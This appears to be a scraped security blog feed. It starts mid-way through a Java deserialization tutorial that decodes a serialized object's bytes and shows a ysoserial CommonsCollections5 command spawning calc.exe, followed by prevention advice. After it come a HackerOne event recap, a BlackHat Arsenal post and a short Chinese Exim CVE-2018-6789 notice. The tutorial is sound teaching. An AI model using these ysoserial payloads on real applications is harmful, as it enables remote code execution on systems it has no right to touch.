            in.close();
            file.close();
        }
        catch(Exception e)
        {
            System.out.println("Exception: " + e.toString());
        }

        return obj;
    }
}

Let’s see how a serialized object will look like. Below is the serialization of the object:

LogFile ob = new LogFile();
ob.filename = "User_Nytro.log";
ob.filecontent = "No actions logged";

String file = "Log.ser";

Utils.SerializeToFile(ob, file);

Here is the content (hex) of the Log.ser file:

AC ED 00 05 73 72 00 07 4C 6F 67 46 69 6C 65 D7 ¬í..sr..LogFile×
60 3D D7 33 3E BC D1 02 00 02 4C 00 0B 66 69 6C `=×3>¼Ñ...L..fil
65 63 6F 6E 74 65 6E 74 74 00 12 4C 6A 61 76 61 econtentt..Ljava
2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 4C 00 08 /lang/String;L..
66 69 6C 65 6E 61 6D 65 71 00 7E 00 01 78 70 74 filenameq.~..xpt
00 11 4E 6F 20 61 63 74 69 6F 6E 73 20 6C 6F 67 ..No actions log
67 65 64 74 00 0E 55 73 65 72 5F 4E 79 74 72 6F gedt..User_Nytro
2E 6C 6F 67                                     .log

As you can see, it looks simple. We can see the class name, “LogFile”, “filename” and “filecontent” variable names and we can also see their values. However, it is important to note that there is no code, it is only the data.

Let’s dig into it to see what it contains:

  • AC ED -> We already discussed about the magic number
  • 00 05 -> And protocol version
  • 73 -> We have a new object (TC_OBJECT)
  • 72 -> Refers to a class description (TC_CLASSDESC)
  • 00 07 -> The length of the class name – 7 characters
  • 4C 6F 67 46 69 6C 65 -> Class name – LogFile
  • D7 60 3D D7 33 3E BC D1 -> Serial version UID – An identifier of the class. This value can be specified in the class, if not, it is generated automatically
  • 02 -> Flag mentioning that the class is serializable (SC_SERIALIZABLE) – a class can also be externalizable
  • 00 02 -> Number of variables in the class
  • 4C -> Type code/signature – class
  • 00 0B -> Length of the class variable – 11
  • 66 69 6C 65 63 6F 6E 74 65 6E 74 -> Variable name – filecontent
  • 74 -> A string (TC_STRING)
  • 00 12 -> Length of the class name
  • 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B -> Class name – Ljava/lang/String;
  • 4C -> Type code/signature – class
  • 00 08 -> Length of the class variable – 8
  • 66 69 6C 65 6E 61 6D 65 -> Variable name – filename
  • 71 -> It is a reference to a previous object (TC_REFERENCE)
  • 00 7E 00 01 -> Object reference ID. Referenced objects start from 0x7E0000
  • 78 -> End of block data for this object (TC_ENDBLOCKDATA)
  • 70 -> NULL reference, we finished the “class description”, the data will follow
  • 74 -> A string (TC_STRING)
  • 00 11 -> Length of the string – 17 characters
  • 4E 6F 20 61 63 74 69 6F 6E 73 20 6C 6F 67 67 65 64 -> The string – No actions logged
  • 74 -> A string (TC_STRING)
  • 00 0E -> Length of the string – 14 characters
  • 55 73 65 72 5F 4E 79 74 72 6F 2E 6C 6F 67 -> The string – User_Nytro.log

The protocol details are not important, but they might help if manually updating a serialized object is required.

Attack example

As you might expect, the issue happens during the deserialization process. Below is a simple example of deserialization.

LogFile ob = new LogFile();
 String file = "Log.ser";

// Deserialization of the object 
 
 ob = (LogFile)Utils.DeserializeFromFile(file);

And here is the output:

Deserializing from Log.ser
readObject from LogFile
File name: User_Nytro.log, file content: No actions logged
Restoring log data to file...

What happens is pretty straightforward:

  1. We deserialize the “Log.ser” file (containing a serialized LogFile object)
  2. This will automatically call “readObject” method of “LogFile” class
  3. It will print the file name and the file content
  4. And it will create a file called “User_Nytro.log” containing “No actions logged” text

As you can see, an attacker will be able to write any file (depending on permissions) with any content on the system running the vulnerable application. It is not a directly exploitable Remote Command Execution, but it might be turned into one.

We need to understand a few important things:

  • Serialized objects do not contain code, they contain only data
  • The serialized object contains the class name of the serialized object
  • Attackers control the data, but they do not contain the code, meaning that the attack depends on what the code does with the data

Is is important to note that readObject is not the only affected method. The readResolvereadExternal and readUnshared methods have to be checked as well. Oh, we should not forget XStream. And this is not the full list…

For black-box testing, it might be easy to find serialized objects by looking into the network traffic and trying to find 0xAC 0xED bytes or “ro0” base64 encoded bytes. If we do not have any information about the libraries on the remote system, we can just iterate through all ysoserial payloads and throw them at the application.

But my readObject is safe

This might be the most common problem regarding deserialization vulnerabilities. Any application doing deserialization is vulnerable as long as in the class-path are other vulnerable classes. This happens because, as we already discussed earlier, the serialized object contains a class name. Java will try to find the class specified in the serialized object in the class path and load it.

One of the most important vulnerabilities was discovered in the well-known Apache Commons Collections library. If on the system running the deserialization application a vulnerable version of this library or multiple other vulnerable libraries is present, the deserialization vulnerability can result in remote command execution.

Let’s do an example and completely remove the “readObject” method from our LogFile class. Since it will not do anything, we should be safe, right? However, we should also download commons-collections-3.2.1.jar library and extract it in the class-path (the org directory).

In order to exploit this vulnerability, we can easily use ysoserial tool. The tool has a collection of exploits and it allows us to generate serialized objects that will execute commands during deserialization. We just need to specify the vulnerable library. Below is an example for Windows:

java -jar ysoserial-master.jar CommonsCollections5 calc.exe > Exp.ser

This will generate a serialized object (Exp.ser file) for Apache Commons Collections vulnerable library and the exploit will execute the “calc.exe” command. What happens if our code will read this file and deserialize the data?

LogFile ob = new LogFile();
 String file = "Exp.ser";

// Deserialization of the object

ob = (LogFile)Utils.DeserializeFromFile(file);

This will be the output:

Deserializing from Exp.ser
Exception in thread "main" java.lang.ClassCastException: java.management/javax.management.BadAttributeValueExpException cannot be cast to LogFile
 at LogFiles.main(LogFiles.java:105)

But this will result as well:

Calculator

We can see that an exception related to casting the deserialized object was thrown, but this happened after the deserialization process took place. So even if the application is safe, if there are vulnerable classes out there, it is game over. Oh, it is also possible to have issues with deserialization directly on JDK, without any 3rd party libraries.

How to prevent it?

The most common suggestion is to use Look Ahead ObjectInputStream. This method allows to prevent deserialization of untrusted classes by implementing a whitelist or a blacklist of classes that can be deserialized.

However, the only secure way to do serialization is to not do it.

Conclusion

Java deserialization vulnerabilities became more common and dangerous. Public exploits are available and is easy for attackers to exploit these vulnerabilities.

It might be useful to document a bit more about this vulnerability. You can find here a lot of useful resources.

We also have to consider that Oracle plans to dump Java serialization.

However, the important thing to remember is that we should just avoid (de)serialization.

H1-415: Hacking My Way Into the Top 4 of the Day

3 May 2018 at 00:00

I’ve always wanted to visit San Francisco! So I was really happy about an email from HackerOne inviting me to this beautiful city in April. But they did not cover all the costs for my international flights and the hotel room just for my personal city trip - they had something really nasty in mind: hacking Oath! If you don’t know Oath - they own brands like Yahoo, AOL, Tumblr, Techcrunch amongst others.

So while a free trip to San Francisco by itself is already an awesome thing, HackerOne did a great job in organizing a live hacking event which currently has no equal…and this does not only apply to the logo ;-)

The event itself took place in a beautiful coworking space in downtown San Francisco on the 14th floor with a nice view over San Francisco, including a tasty breakfast. This breakfast was indeed needed for the upcoming 9 hours of hacking kung-fu! The hacking was finally kicked off at 10:00 with a pretty nice scope to hack on. However, the scope itself has already been announced a couple of days prior to the event itself, so that everyone had the chance to prepare some nice vulnerabilities and bring them to the event. The only tricky thing was to verify the vulnerabilities again before submitting them during the event to make sure they haven’t been fixed by a last-minute patch ;-)

As part of this preparation I found almost 20 vulnerabilities ranging from Cross-Site Scripting up to some nice SQL Injection chains. The first 60 minutes of the event were covered by a blackout period where everybody had the chance to submit their findings without having to fear duplicates! The good thing about this approach was that duplicates have been paid out by splitting the bounty amount amongst all hackers that reported the same vulnerability. Luckily my personal dupe count was just at 3 resulting in my smallest bounty of USD 50. After this blackout period all duplicates were handled as usual - first come, first serve.

After 9 hours of continuous hacking my personal day ended with 25 vulnerability submissions, a maximum single payout of 5.000 USD and an overall rank of 4 on the event leaderboard:

At the end of the day Oath paid an overall of 400.000 USD (yes it’s 6 digits!) to all participating hackers, which has been the biggest event so far!

However, there was more to this event than just getting bounties. During the event I met so many talented hackers like @yaworsk, @arneswinnen, @securinti, @smiegles, @SebMorin1, @thedawgyg, @seanmeals, @Corb3nik, @Rhynorater , @prebenve@ngalongc, the famous @filedescriptor and many, many more which is by far more valuable than any bounty! Thank you so much for being part of this community!

On this way I would like to thank HackerOne and specifically Ted Kramer for organizing a really awesome event and Ben Sadeghipour for giving me the chance to show my skills! A special thanks is going to the whole HackerOne triaging team for triaging hundreds of vulnerability reports and paying them out right on stage - just another day at work, right ;-) ?

It was a truly amazing experience - see you on the next event!

NetRipper at BlackHat Asia Arsenal 2018

31 March 2018 at 20:52

I had the opportunity to present NetRipper at BlackHat Asia Arsenal 2018 and it was amazing. As you probably know, BlackHat conferences have trainings, briefings (presentations), vendor’s area and Arsenal. Arsenal is the perfect place for anyone who wants to present its open-source tool. It is organised by ToolsWatch and I totally recommend you to check it out if you participate to any BlackHat conference.

Arsenal

Since it was my first BlackHat conference, I did not know what to expect and how things will go. I knew that Arsenal presentations take place in booths (stations) in the vendor’s area and this might look strange at the beginning, but as soon as I saw it, I realised that this is perfect.

At BlackHat Asia, there are 6 Arsenal stations where 6 open-source tools are presented at the same time, each tool being presented for about two hours. This is followed by another round of 6 tools, for another 2 hours, and so on, to the end of the day. This is how a station looks like:

DY3nx3vVQAAmx-v

You can find the list of tools here: https://www.blackhat.com/asia-18/arsenal.html

It is important to note that you will not see slides at Arsenal (or just a few). Arsenal is focused on interaction between the speaker and the participants and you will see a lot of demos.  You go there to talk to people about their tools, ask them questions and see them in action. There is no time for slides (I used only one, with contact information and GitHub page) and you can learn anything you want from each tool and even recommend new features and improvements.

DY82rOUVwAALJ1P

It will take you just a few minutes to see each tool in action, so you will have enough time to see all of them. You should take your time, as you might realise that those tools might really help you on your engagements.

Speakers

If you develop your own open-source tool, I suggest you to apply to Arsenal call for papers. The only issue is that you (or your company) have to cover the travel and hotel expenses, but it will worth it.

Arsenal is one of the best places to show your project, to get real-time feedback and to find bugs during your demos (it happens, a lot).

You will have the opportunity to interact to a lot of people with different views: some of them might be very technical, some of them might not, but for sure, all of them will help you to build a better tool.

You will also have the opportunity to interact with other Arsenal speakers and you might find that your tools can do a good job together. Here is a a photo with all (or most) of us:

IMG_8937

Also, as anyone working on his free time on a project, Arsenal might be a very good motivation to build a powerful and stable tool. You will not want to go there with an unstable tool, of course.

Oh, if this is not enough, you should also know that you will receive a Briefings pass as well, so you will also have the possibility to see the presentations. And since a Briefings pass is not very cheap, this should encourage you to present.

Conclusion

BlackHat Arsenal is an amazing place, both for visitors and speakers. Also, even if the trip might cost some money (however, my company paid for my trip), it will totally worth it. Oh, I almost forgot… Singapore is a really nice city to visit. 🙂

Exim 任意代碼執行漏洞 (CVE-2018-6789)

5 March 2018 at 16:00

內容

今年我們向 Exim 回報了一個位於 base64 解碼函式的溢出漏洞,編號為 CVE-2018-6789。此漏洞從 Exim 專案開始時即存在,因此影響 Exim 的所有版本

根據我們的研究,攻擊者可利用此漏洞達成遠端任意代碼執行,並且不需任何認證,至少有 40 萬台 Exim 伺服器受此漏洞影響並存在被攻擊的風險。我們建議立即將 Exim 升級至 4.90.1 版以免遭受攻擊。

細節

詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/

❌
❌